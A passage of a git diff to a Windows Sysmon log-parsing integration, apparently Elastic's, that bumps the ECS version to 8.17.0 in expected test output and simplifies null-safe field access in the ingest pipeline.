}, "event": { "action": "DNSEvent (DNS query)", @@ -16250,7 +16246,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16392,7 +16388,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16490,7 +16486,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16585,7 +16581,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16725,7 +16721,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16873,7 +16869,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -16972,7 +16968,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17114,7 +17110,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17259,7 +17255,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17406,7 +17402,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17546,7 +17542,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -17687,7 +17683,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18042,7 +18038,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18220,7 +18216,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18320,7 +18316,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18419,7 +18415,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18499,7 +18495,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18590,7 +18586,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18733,7 +18729,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18881,7 +18877,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -18983,7 +18979,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19120,7 +19116,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19272,7 +19268,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19416,7 +19412,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19542,7 +19538,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19651,7 +19647,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19754,7 +19750,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -19891,7 +19887,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20007,7 +20003,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20153,7 +20149,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20251,7 +20247,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20346,7 +20342,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20438,7 +20434,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20516,7 +20512,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20587,7 +20583,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20658,7 +20654,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20753,7 +20749,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20846,7 +20842,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -20916,7 +20912,7 @@ { "@timestamp": "2020-10-27T20:00:14.320Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -21014,7 +21010,7 @@ { "@timestamp": "2021-02-25T14:43:23.550Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ProcessTampering (Process image change)", @@ -21069,7 +21065,7 @@ { "@timestamp": "2020-05-12T06:48:27.084Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDelete (File Delete archived)", @@ -21144,7 +21140,7 @@ { "@timestamp": "2020-10-28T02:39:26.374Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Image loaded", @@ -21236,7 +21232,7 @@ { "@timestamp": "2020-05-05T14:57:46.808Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -21281,7 +21277,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -21304,7 +21299,7 @@ { "@timestamp": "2021-02-25T15:04:48.592Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ClipboardChange (New content in the clipboard)", @@ -21372,7 +21367,7 @@ { "@timestamp": "2019-03-18T16:57:52.433Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "A process changed a file creation time", @@ -21488,7 +21483,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -21565,7 +21560,7 @@ { "@timestamp": "2022-01-24T05:12:34.328Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDeleteDetected (File Delete logged)", @@ -21584,9 +21579,6 @@ "file": { "directory": "C:\\Windows\\ServiceState\\EventLog\\Data", "extension": "dat", - "hash": { - "sha256": "a94808e7c66973b122f66ec6611019c745a9602f8e944f53635cab58aef35a79" - }, "name": "lastalive1.dat", "path": "C:\\Windows\\ServiceState\\EventLog\\Data\\lastalive1.dat" }, @@ -21596,6 +21588,9 @@ "process": { "entity_id": "{63a74932-a2b4-61ee-1b00-000000000700}", "executable": "C:\\Windows\\System32\\svchost.exe", + "hash": { + "sha256": "a94808e7c66973b122f66ec6611019c745a9602f8e944f53635cab58aef35a79" + }, "name": "svchost.exe", "pid": 1264 }, @@ -21640,7 +21635,7 @@ { "@timestamp": "2022-01-24T05:12:51.031Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileDeleteDetected (File Delete logged)", @@ -21659,9 +21654,6 @@ "file": { "directory": "C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache", "extension": "000", - "hash": { - "sha256": "d78fbf654d84ddf2cb4fe221f7d8b61e0decdee48a4687915e6e4a2296e2418b" - }, "name": "OLDCACHE.000", "path": "C:\\ProgramData\\Microsoft\\Windows\\DeviceMetadataCache\\OLDCACHE.000" }, @@ -21671,6 +21663,9 @@ "process": { "entity_id": "{63a74932-3523-61ee-af00-000000000700}", "executable": "C:\\Windows\\system32\\svchost.exe", + "hash": { + "sha256": "d78fbf654d84ddf2cb4fe221f7d8b61e0decdee48a4687915e6e4a2296e2418b" + }, "name": "svchost.exe", "pid": 1364 }, @@ -21715,7 +21710,7 @@ { "@timestamp": "2022-03-31T06:21:03.765Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -21772,7 +21767,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "QWORD (0x00000000-0x1234fabd)", "EventType": "SetValue" }, "event_id": "13", @@ -21799,7 +21793,7 @@ { "@timestamp": "2022-03-31T06:39:22.643Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -21856,7 +21850,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "abcd", "EventType": "SetValue" }, "event_id": "13", @@ -21883,7 +21876,7 @@ { "@timestamp": "2022-03-31T06:39:36.298Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -21940,7 +21933,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "DWORD (0x12349abc)", "EventType": "SetValue" }, "event_id": "13", @@ -21967,7 +21959,7 @@ { "@timestamp": "2022-03-31T06:40:11.534Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -22024,7 +22016,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -22051,7 +22042,7 @@ { "@timestamp": "2022-03-31T06:40:38.113Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -22108,7 +22099,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "Binary Data", "EventType": "SetValue" }, "event_id": "13", @@ -22135,7 +22125,7 @@ { "@timestamp": "2022-03-31T06:41:01.546Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RegistryEvent (Value Set)", @@ -22192,7 +22182,6 @@ "channel": "Microsoft-Windows-Sysmon/Operational", "computer_name": "vagrant", "event_data": { - "Details": "*.dll expanded", "EventType": "SetValue" }, "event_id": "13", @@ -22219,7 +22208,7 @@ { "@timestamp": "2022-04-27T18:13:46.501Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -22321,7 +22310,7 @@ { "@timestamp": "2021-10-24T06:35:26.449Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Process creation", @@ -22391,7 +22380,7 @@ { "@timestamp": "2021-10-24T06:35:26.460Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "ProcessAccess", @@ -22450,7 +22439,7 @@ { "@timestamp": "2017-05-13T22:53:43.214Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "CreateRemoteThread", @@ -22513,7 +22502,7 @@ { "@timestamp": "2018-03-22T20:32:22.332Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "RawAccessRead", @@ -22571,7 +22560,7 @@ { "@timestamp": "2018-04-11T16:26:16.327Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "WmiEvent (WmiEventFilter activity detected)", @@ -22633,7 +22622,7 @@ { "@timestamp": "2018-04-11T16:26:16.360Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "WmiEvent (WmiEventConsumer activity detected)", @@ -22698,7 +22687,7 @@ { "@timestamp": "2023-03-10T17:41:38.273Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "error": { "code": "DriverCommunication" @@ -22757,7 +22746,7 @@ { "@timestamp": "2023-03-12T08:01:25.423Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileBlockExecutable", @@ -22833,7 +22822,7 @@ { "@timestamp": "2023-03-12T08:13:25.375Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileBlockExecutable", @@ -22909,7 +22898,7 @@ { "@timestamp": "2023-03-12T09:20:46.943Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileBlockShredding", @@ -23014,7 +23003,7 @@ ] }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "DNSEvent (DNS query)", @@ -23090,7 +23079,7 @@ { "@timestamp": "2023-06-30T01:53:13.076Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "FileExecutableDetected", @@ -23168,4 +23157,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/sysmon_operational/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/sysmon_operational/elasticsearch/ingest_pipeline/default.yml index 4c7cd395d13..af1bcef0e98 100644 --- a/packages/windows/data_stream/sysmon_operational/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/sysmon_operational/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.0.0' + value: '8.17.0' - script: description: Remove all empty values from event_data. lang: painless @@ -15,7 +15,7 @@ processors: target_field: log.level ignore_missing: true ignore_failure: true - if: ctx?.winlog?.level != "" + if: ctx.winlog?.level != "" - date: field: winlog.time_created target_field: event.created @@ -38,7 +38,7 @@ processors: - yyyy-MM-dd HH:mm:ss.SSS timezone: UTC ignore_failure: true - if: ctx?.winlog?.event_data?.UtcTime != null + if: ctx.winlog?.event_data?.UtcTime != null - set: field: event.kind @@ -263,7 +263,7 @@ processors: target_field: rule.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.RuleName != null && ctx?.winlog?.event_data?.RuleName != "" && ctx?.winlog?.event_data?.RuleName != "-" + if: ctx.winlog?.event_data?.RuleName != null && ctx.winlog?.event_data?.RuleName != "" && ctx.winlog?.event_data?.RuleName != "-" - rename: @@ -271,24 +271,24 @@ processors: target_field: message ignore_missing: true ignore_failure: true - if: ctx.event.code == "25" && ctx?.winlog?.event_data?.Type != null && ctx?.winlog?.event_data?.Type != "" + if: ctx.event.code == "25" && ctx.winlog?.event_data?.Type != null && ctx.winlog?.event_data?.Type != "" - rename: field: winlog.event_data.Hash target_field: winlog.event_data.Hashes ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Hash != null && ctx?.winlog?.event_data?.Hash != "" + if: ctx.winlog?.event_data?.Hash != null && ctx.winlog?.event_data?.Hash != "" - kv: field: winlog.event_data.Hashes target_field: _temp.hashes field_split: "," value_split: "=" ignore_failure: true - if: ctx?.winlog?.event_data?.Hashes != null + if: ctx.winlog?.event_data?.Hashes != null - script: lang: painless - if: ctx?._temp?.hashes != null + if: ctx._temp?.hashes != null source: |- def hashIsEmpty(String hash) { if (hash == "") { @@ -328,8 +328,8 @@ processors: field: _temp.hashes target_field: process.hash if: |- - ctx?._temp?.hashes != null && - ["1", "23", "24", "25"].contains(ctx.event.code) + ctx._temp?.hashes != null && + ["1", "23", "24", "25", "26"].contains(ctx.event.code) - rename: field: process.hash.imphash target_field: process.pe.imphash @@ -340,101 +340,101 @@ processors: target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ProcessGuid != null && ctx?.winlog?.event_data?.ProcessGuid != "" + if: ctx.winlog?.event_data?.ProcessGuid != null && ctx.winlog?.event_data?.ProcessGuid != "" - convert: field: winlog.event_data.ProcessId target_field: process.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ProcessId != null && ctx?.winlog?.event_data?.ProcessId != "" + if: ctx.winlog?.event_data?.ProcessId != null && ctx.winlog?.event_data?.ProcessId != "" - rename: field: winlog.event_data.Image target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Image != null && ctx?.winlog?.event_data?.Image != "" + if: ctx.winlog?.event_data?.Image != null && ctx.winlog?.event_data?.Image != "" - rename: field: winlog.event_data.SourceProcessGuid target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceProcessGuid != null && ctx?.winlog?.event_data?.SourceProcessGuid != "" + if: ctx.winlog?.event_data?.SourceProcessGuid != null && ctx.winlog?.event_data?.SourceProcessGuid != "" - rename: field: winlog.event_data.SourceProcessGUID target_field: process.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceProcessGUID != null && ctx?.winlog?.event_data?.SourceProcessGUID != "" + if: ctx.winlog?.event_data?.SourceProcessGUID != null && ctx.winlog?.event_data?.SourceProcessGUID != "" - convert: field: winlog.event_data.SourceProcessId target_field: process.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceProcessId != null && ctx?.winlog?.event_data?.SourceProcessId != "" + if: ctx.winlog?.event_data?.SourceProcessId != null && ctx.winlog?.event_data?.SourceProcessId != "" - convert: field: winlog.event_data.SourceThreadId target_field: process.thread.id type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceThreadId != null && ctx?.winlog?.event_data?.SourceThreadId != "" + if: ctx.winlog?.event_data?.SourceThreadId != null && ctx.winlog?.event_data?.SourceThreadId != "" - rename: field: winlog.event_data.SourceImage target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceImage != null && ctx?.winlog?.event_data?.SourceImage != "" + if: ctx.winlog?.event_data?.SourceImage != null && ctx.winlog?.event_data?.SourceImage != "" - rename: field: winlog.event_data.Destination target_field: process.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Destination != null && ctx?.winlog?.event_data?.Destination != "" + if: ctx.winlog?.event_data?.Destination != null && ctx.winlog?.event_data?.Destination != "" - rename: field: winlog.event_data.CommandLine target_field: process.command_line ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.CommandLine != null && ctx?.winlog?.event_data?.CommandLine != "" + if: ctx.winlog?.event_data?.CommandLine != null && ctx.winlog?.event_data?.CommandLine != "" - rename: field: winlog.event_data.CurrentDirectory target_field: process.working_directory ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.CurrentDirectory != null && ctx?.winlog?.event_data?.CurrentDirectory != "" + if: ctx.winlog?.event_data?.CurrentDirectory != null && ctx.winlog?.event_data?.CurrentDirectory != "" - rename: field: winlog.event_data.ParentProcessGuid target_field: process.parent.entity_id ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentProcessGuid != null && ctx?.winlog?.event_data?.ParentProcessGuid != "" + if: ctx.winlog?.event_data?.ParentProcessGuid != null && ctx.winlog?.event_data?.ParentProcessGuid != "" - convert: field: winlog.event_data.ParentProcessId target_field: process.parent.pid type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.ParentProcessId != null && ctx?.winlog?.event_data?.ParentProcessId != "" + if: ctx.winlog?.event_data?.ParentProcessId != null && ctx.winlog?.event_data?.ParentProcessId != "" - rename: field: winlog.event_data.ParentImage target_field: process.parent.executable ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentImage != null && ctx?.winlog?.event_data?.ParentImage != "" + if: ctx.winlog?.event_data?.ParentImage != null && ctx.winlog?.event_data?.ParentImage != "" - rename: field: winlog.event_data.ParentCommandLine target_field: process.parent.command_line ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ParentCommandLine != null && ctx?.winlog?.event_data?.ParentCommandLine != "" + if: ctx.winlog?.event_data?.ParentCommandLine != null && ctx.winlog?.event_data?.ParentCommandLine != "" - rename: field: winlog.event_data.OriginalFileName target_field: process.pe.original_file_name ignore_missing: true ignore_failure: true - if: ctx.event.code != "7" && ctx?.winlog?.event_data?.OriginalFileName != null && ctx?.winlog?.event_data?.OriginalFileName != "" + if: ctx.event.code != "7" && ctx.winlog?.event_data?.OriginalFileName != null && ctx.winlog?.event_data?.OriginalFileName != "" - set: field: process.pe.company copy_from: winlog.event_data.Company @@ -464,8 +464,8 @@ processors: description: Implements Windows-like SplitCommandLine lang: painless if: |- - (ctx?.process?.command_line != null && ctx.process.command_line != "") || - (ctx?.process?.parent?.command_line != null && ctx.process.parent.command_line != "") + (ctx.process?.command_line != null && ctx.process.command_line != "") || + (ctx.process?.parent?.command_line != null && ctx.process.parent.command_line != "") source: |- // appendBSBytes appends n '\\' bytes to b and returns the resulting slice. def appendBSBytes(StringBuilder b, int n) { @@ -538,13 +538,13 @@ processors: return args; } - def cmd = ctx?.process?.command_line; + def cmd = ctx.process?.command_line; if (cmd != null && cmd != "") { ctx.process.args = commandLineToArgv(cmd); ctx.process.args_count = ctx.process.args.length; } - def parentCmd = ctx?.process?.parent?.command_line; + def parentCmd = ctx.process?.parent?.command_line; if (parentCmd != null && parentCmd != "") { ctx.process.parent.args = commandLineToArgv(parentCmd); ctx.process.parent.args_count = ctx.process.parent.args.length; @@ -554,8 +554,8 @@ processors: description: Adds process name information. lang: painless if: |- - (ctx?.process?.executable != null && ctx.process.executable.length() > 1) || - (ctx?.process?.parent?.executable != null && ctx.process.parent.executable.length() > 1) + (ctx.process?.executable != null && ctx.process.executable.length() > 1) || + (ctx.process?.parent?.executable != null && ctx.process.parent.executable.length() > 1) source: |- def getProcessName(def path) { def idx = path.lastIndexOf("\\"); @@ -565,16 +565,16 @@ processors: return ""; } - def cmd = ctx?.process?.executable; - if (cmd != null && cmd != "" && ctx?.process?.name == null) { + def cmd = ctx.process?.executable; + if (cmd != null && cmd != "" && ctx.process?.name == null) { def name = getProcessName(cmd); if (name != "") { ctx.process.name = name; } } - def parentCmd = ctx?.process?.parent?.executable; - if (parentCmd != null && parentCmd != "" && ctx?.process?.parent?.name == null) { + def parentCmd = ctx.process?.parent?.executable; + if (parentCmd != null && parentCmd != "" && ctx.process?.parent?.name == null) { def name = getProcessName(parentCmd); if (name != "") { ctx.process.parent.name = name; @@ -587,7 +587,7 @@ processors: field: _temp.hashes target_field: file.hash if: |- - ctx?._temp?.hashes != null && + ctx._temp?.hashes != null && ["6", "7", "15", "26", "29"].contains(ctx.event.code) - rename: field: file.hash.imphash @@ -599,25 +599,25 @@ processors: target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.TargetFilename != null && ctx?.winlog?.event_data?.TargetFilename != "" + if: ctx.winlog?.event_data?.TargetFilename != null && ctx.winlog?.event_data?.TargetFilename != "" - rename: field: winlog.event_data.Device target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Device != null && ctx?.winlog?.event_data?.Device != "" + if: ctx.winlog?.event_data?.Device != null && ctx.winlog?.event_data?.Device != "" - rename: field: winlog.event_data.PipeName target_field: file.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.PipeName != null && ctx?.winlog?.event_data?.PipeName != "" + if: ctx.winlog?.event_data?.PipeName != null && ctx.winlog?.event_data?.PipeName != "" - rename: field: winlog.event_data.ImageLoaded target_field: file.path ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.ImageLoaded != null && ctx?.winlog?.event_data?.ImageLoaded != "" + if: ctx.winlog?.event_data?.ImageLoaded != null && ctx.winlog?.event_data?.ImageLoaded != "" - set: field: file.code_signature.subject_name copy_from: winlog.event_data.Signature @@ -633,7 +633,7 @@ processors: target_field: file.pe.original_file_name ignore_missing: true ignore_failure: true - if: ctx.event.code == "7" && ctx?.winlog?.event_data?.OriginalFileName != null && ctx?.winlog?.event_data?.OriginalFileName != "" + if: ctx.event.code == "7" && ctx.winlog?.event_data?.OriginalFileName != null && ctx.winlog?.event_data?.OriginalFileName != "" - set: field: file.pe.company copy_from: winlog.event_data.Company @@ -661,21 +661,21 @@ processors: - set: field: file.code_signature.signed value: true - if: ctx?.winlog?.event_data?.Signed != null && ctx.winlog.event_data.Signed == true + if: ctx.winlog?.event_data?.Signed != null && ctx.winlog.event_data.Signed == true - set: field: file.code_signature.valid value: true - if: ctx?.winlog?.event_data?.SignatureStatus != null && ctx?.winlog?.event_data?.SignatureStatus == "Valid" + if: ctx.winlog?.event_data?.SignatureStatus != null && ctx.winlog?.event_data?.SignatureStatus == "Valid" - script: description: Adds file information. lang: painless - if: ctx?.file?.path != null && ctx.file.path.length() > 1 + if: ctx.file?.path != null && ctx.file.path.length() > 1 source: |- def path = ctx.file.path; def idx = path.lastIndexOf("\\"); if (idx > -1) { - if (ctx?.file == null) { + if (ctx.file == null) { ctx.file = new HashMap(); } ctx.file.name = path.substring(idx+1); @@ -694,19 +694,19 @@ processors: target_field: network.transport ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.Protocol != null && ctx?.winlog?.event_data?.Protocol != "" + if: ctx.winlog?.event_data?.Protocol != null && ctx.winlog?.event_data?.Protocol != "" - rename: field: winlog.event_data.DestinationPortName target_field: network.protocol ignore_missing: true ignore_failure: true - if: ctx.event.code != "22" && ctx?.winlog?.event_data?.DestinationPortName != null && ctx?.winlog?.event_data?.DestinationPortName != "" + if: ctx.event.code != "22" && ctx.winlog?.event_data?.DestinationPortName != null && ctx.winlog?.event_data?.DestinationPortName != "" - rename: field: winlog.event_data.SourcePortName target_field: network.protocol ignore_missing: true ignore_failure: true - if: ctx.event.code != "22" && ctx?.winlog?.event_data?.SourcePortName != null && ctx?.winlog?.event_data?.SourcePortName != "" + if: ctx.event.code != "22" && ctx.winlog?.event_data?.SourcePortName != null && ctx.winlog?.event_data?.SourcePortName != "" - set: field: network.protocol value: dns @@ -717,68 +717,68 @@ processors: type: ip ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourceIp != null && ctx?.winlog?.event_data?.SourceIp != "" + if: ctx.winlog?.event_data?.SourceIp != null && ctx.winlog?.event_data?.SourceIp != "" - rename: field: winlog.event_data.SourceHostname target_field: source.domain ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.SourceHostname != null && ctx?.winlog?.event_data?.SourceHostname != "" + if: ctx.winlog?.event_data?.SourceHostname != null && ctx.winlog?.event_data?.SourceHostname != "" - convert: field: winlog.event_data.SourcePort target_field: source.port type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.SourcePort != null && ctx?.winlog?.event_data?.SourcePort != "" + if: ctx.winlog?.event_data?.SourcePort != null && ctx.winlog?.event_data?.SourcePort != "" - convert: field: winlog.event_data.DestinationIp target_field: destination.ip type: ip ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DestinationIp != null && ctx?.winlog?.event_data?.DestinationIp != "" + if: ctx.winlog?.event_data?.DestinationIp != null && ctx.winlog?.event_data?.DestinationIp != "" - rename: field: winlog.event_data.DestinationHostname target_field: destination.domain ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.DestinationHostname != null && ctx?.winlog?.event_data?.DestinationHostname != "" + if: ctx.winlog?.event_data?.DestinationHostname != null && ctx.winlog?.event_data?.DestinationHostname != "" - convert: field: winlog.event_data.DestinationPort target_field: destination.port type: long ignore_failure: true ignore_missing: true - if: ctx?.winlog?.event_data?.DestinationPort != null && ctx?.winlog?.event_data?.DestinationPort != "" + if: ctx.winlog?.event_data?.DestinationPort != null && ctx.winlog?.event_data?.DestinationPort != "" - rename: field: winlog.event_data.QueryName target_field: dns.question.name ignore_missing: true ignore_failure: true - if: ctx?.winlog?.event_data?.QueryName != null && ctx?.winlog?.event_data?.QueryName != "" + if: ctx.winlog?.event_data?.QueryName != null && ctx.winlog?.event_data?.QueryName != "" - set: field: network.direction value: egress - if: ctx?.winlog?.event_data?.Initiated != null && ctx?.winlog?.event_data?.Initiated == "true" + if: ctx.winlog?.event_data?.Initiated != null && ctx.winlog?.event_data?.Initiated == "true" - set: field: network.direction value: ingress - if: ctx?.winlog?.event_data?.Initiated != null && ctx?.winlog?.event_data?.Initiated == "false" + if: ctx.winlog?.event_data?.Initiated != null && ctx.winlog?.event_data?.Initiated == "false" - set: field: network.type value: ipv4 - if: ctx?.winlog?.event_data?.SourceIsIpv6 != null && ctx?.winlog?.event_data?.SourceIsIpv6 == "false" + if: ctx.winlog?.event_data?.SourceIsIpv6 != null && ctx.winlog?.event_data?.SourceIsIpv6 == "false" - set: field: network.type value: ipv6 - if: ctx?.winlog?.event_data?.SourceIsIpv6 != null && ctx?.winlog?.event_data?.SourceIsIpv6 == "true" + if: ctx.winlog?.event_data?.SourceIsIpv6 != null && ctx.winlog?.event_data?.SourceIsIpv6 == "true" - script: description: | Splits the QueryResults field that contains the DNS responses. Example: "type: 5 f2.taboola.map.fastly.net;::ffff:151.101.66.2;::ffff:151.101.130.2;::ffff:151.101.194.2;::ffff:151.101.2.2;" lang: painless - if: ctx?.winlog?.event_data?.QueryResults != null && ctx?.winlog?.event_data?.QueryResults != "" + if: ctx.winlog?.event_data?.QueryResults != null && 